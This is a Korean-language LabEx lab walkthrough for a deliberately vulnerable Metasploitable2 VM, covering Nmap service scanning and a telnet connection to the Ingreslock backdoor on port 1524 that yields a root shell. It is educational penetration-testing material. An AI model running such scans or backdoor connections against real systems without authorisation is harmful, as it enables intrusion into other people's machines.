소개
이 랩에서는 Ingreslock 서비스 취약점을 이용하여 대상 머신에 대한 root 권한을 획득하는 방법을 배우게 됩니다. 랩 환경은 LabEx 에서 제공하는 Kali 및 Metasploitable2 가상 머신을 기반으로 합니다. 이 랩의 목표는 Ingreslock 취약점을 이해하고, Nmap 을 사용하여 침투 스캔을 수행하며, 궁극적으로 Ingreslock 백도어 (backdoor) 를 악용하여 Metasploitable2 머신에 대한 root 권한을 획득하는 것입니다.
Ingreslock 취약점 이해 및 환경 설정
Ingreslock 취약점은 Ingres 데이터베이스 관리 시스템 (DBMS) 과 관련된 오래되었지만 여전히 관련성이 있는 보안 결함입니다. TCP 포트 1524 는 공격자가 손상된 시스템에 대한 접근 권한을 유지하기 위해 백도어 포트로 자주 사용됩니다.
이 단계에서는 Ingreslock 취약점과 그 영향에 대해 배우게 됩니다.
Ingreslock 취약점은 TCP 포트 1524 가 시스템을 성공적으로 손상시킨 후 공격자가 백도어 리스닝 포트로 일반적으로 사용되었다는 사실에서 비롯됩니다. 이 취약점을 악용하는 단순성은 열린 포트에 단순히 연결하여 대상 머신에 대한 root 레벨 접근 권한을 얻을 수 있다는 데 있습니다.
이 취약점은 오래된 것으로 간주되지만, 일부 레거시 시스템에는 여전히 존재하므로 통제된 환경에서 이해하고 탐구할 가치가 있습니다.
- LabEx 호스트 머신에서 xfce 터미널을 열고 다음 명령을 실행하여 Metasploitable2 대상을 시작합니다.
sudo virsh start Metasploitable2
대상 머신이 시작될 때까지 기다립니다. 1~3 분 정도 걸릴 수 있습니다.
- 대상 머신에 대한 연결을 ping 하여 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
- Kali Linux 컨테이너를 시작하고 다음을 실행하여 bash 환경에 들어갑니다.
docker run -ti --network host b5b709a49cd5 bash
- Kali 컨테이너 내부에서 대상 머신에 대한 네트워크 연결을 테스트합니다.
ping 192.168.122.102
Ctrl+C를 눌러 ping 을 중지합니다.
침투 스캔 수행
이 단계에서는 Nmap 을 사용하여 Metasploitable2 대상 머신에 대한 침투 스캔을 수행하여 대상에서 실행 중인 열린 포트와 서비스를 식별합니다.
- Metasploitable2 가상 머신을 시작하고 실행 중인지 확인합니다.
- Kali 컨테이너를 시작하고 bash 셸에 들어갑니다.
- Kali 컨테이너 내부에서 다음 명령을 실행하여 대상 머신에 대한 포괄적인 스캔을 수행합니다.
nmap -sV -T4 target-ip-address
-sV 옵션은 Nmap 에게 서비스/버전 정보를 확인하기 위해 열린 포트를 프로브하도록 지시하고, -T4는 타이밍 템플릿을 공격적인 레벨로 설정합니다 (0 에서 5 까지의 높은 값은 공격성을 증가시킵니다).
PostgreSQL 서비스를 시작하고 Metasploit 데이터베이스를 초기화합니다.
cd ~
service postgresql start
msfdb init
Metasploit 콘솔을 시작합니다.
msfconsole
대상 머신에 대한 포괄적인 스캔을 수행합니다.
nmap -sV -T4 192.168.122.102
다음은 표시될 수 있는 출력의 예입니다.
[*] exec: nmap -sV -T4 192.168.122.102
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-24 20:47 UTC
Nmap scan report for 192.168.122.102
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp open telnet Linux telnetd
25/tcp open smtp Postfix smtpd
53/tcp open domain ISC BIND 9.4.2
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp open rpcbind 2 (RPC #100000)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp open exec?
513/tcp open login
514/tcp open shell?
...
이 일련의 명령은 PostgreSQL 서비스를 시작하고, Metasploit 데이터베이스를 초기화하고, Metasploit 콘솔을 시작한 다음 Nmap 을 사용하여 대상 머신에 대한 포괄적인 스캔을 수행합니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
Ingreslock 백도어 익스플로잇
이 단계에서는 Ingreslock 백도어 취약점을 악용하여 Metasploitable2 대상 머신에 대한 root 접근 권한을 얻습니다.
- 먼저, Metasploit 콘솔에 있지 않은 경우 Metasploit 콘솔을 시작해야 합니다.
cd ~
msfconsole
- Metasploit 콘솔에서
telnet패키지를 설치합니다.
apt-key del ED444FF07D8D0BF6 && apt-key adv --keyserver keyserver.ubuntu.com --recv-keys ED444FF07D8D0BF6 && apt update && apt install telnet
telnet명령을 사용하여 대상 머신의 Ingreslock 백도어 포트에 연결합니다.
telnet 192.168.122.102 1524
연결에 성공하면 대상 머신에 대한 root 접근 권한을 얻게 됩니다.
- 이제 Ingreslock 백도어 악용이 성공했는지 확인하기 위해 손상된 머신의 IP 주소, 호스트 이름 및 현재 사용자를 확인해야 합니다. Ingreslock 백도어를 통해 대상 머신에 연결한 후 다음 명령을 실행합니다.
손상된 머신의 IP 주소를 확인합니다.
ifconfig
손상된 머신의 호스트 이름을 확인합니다.
hostname
손상된 머신의 현재 사용자를 확인합니다.
whoami
악용에 성공하면 대상 머신에서 IP 주소, 호스트 이름 및 현재 사용자가 root로 표시됩니다.
Metasploit 콘솔을 종료하려면 Ctrl+D 를 누른 다음 검사를 시작합니다.
요약
이 랩에서는 공격자가 TCP 포트 1524 에 연결하여 손상된 시스템에 대한 root 접근 권한을 얻을 수 있게 해주는 Ingreslock 취약점에 대해 배웠습니다. Nmap 을 사용하여 대상 머신에서 열린 포트와 서비스를 식별하기 위해 침투 스캔을 수행했습니다. Ingreslock 백도어 포트를 감지한 후, telnet 명령을 사용하여 취약점을 악용하여 root 접근 권한을 얻었습니다. 마지막으로, 손상된 머신에서 IP 주소, 호스트 이름 및 현재 사용자를 확인하여 성공적인 악용을 확인했습니다. 이 랩은 실제 취약점을 이해하고 악용하는 실습 경험을 제공하여 보안 패치 및 이러한 백도어에 대한 시스템 강화의 중요성을 강조했습니다.



